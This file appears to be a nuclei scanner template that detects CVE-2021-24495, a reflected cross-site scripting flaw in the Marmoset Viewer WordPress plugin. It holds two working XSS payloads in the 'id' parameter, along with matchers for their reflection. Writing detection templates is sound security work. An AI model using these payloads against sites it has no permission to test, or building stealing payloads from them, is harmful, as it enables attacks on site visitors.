nuclei-templates/cves/2021/CVE-2021-24495.yaml

41 lines
1.5 KiB
YAML

id: CVE-2021-24495
info:
name: Wordpress Plugin Marmoset Viewer XSS
author: johnjhacking
severity: medium
description: The Marmoset Viewer WordPress plugin before 1.9.3 does not property sanitize, validate or escape the 'id' parameter before outputting back in the page, leading to a reflected Cross-Site Scripting issue.
reference:
- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
- https://wordpress.org/plugins/marmoset-viewer/#developers
- https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24495
cwe-id: CWE-79
tags: cve,cve2021,wp-plugin,wordpress,xss
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "</script><svg/onload=alert('{{randstr}}')>"
- "alert(/{{randstr}}/)"
part: body
condition: or
- type: word
words:
- "Marmoset Viewer"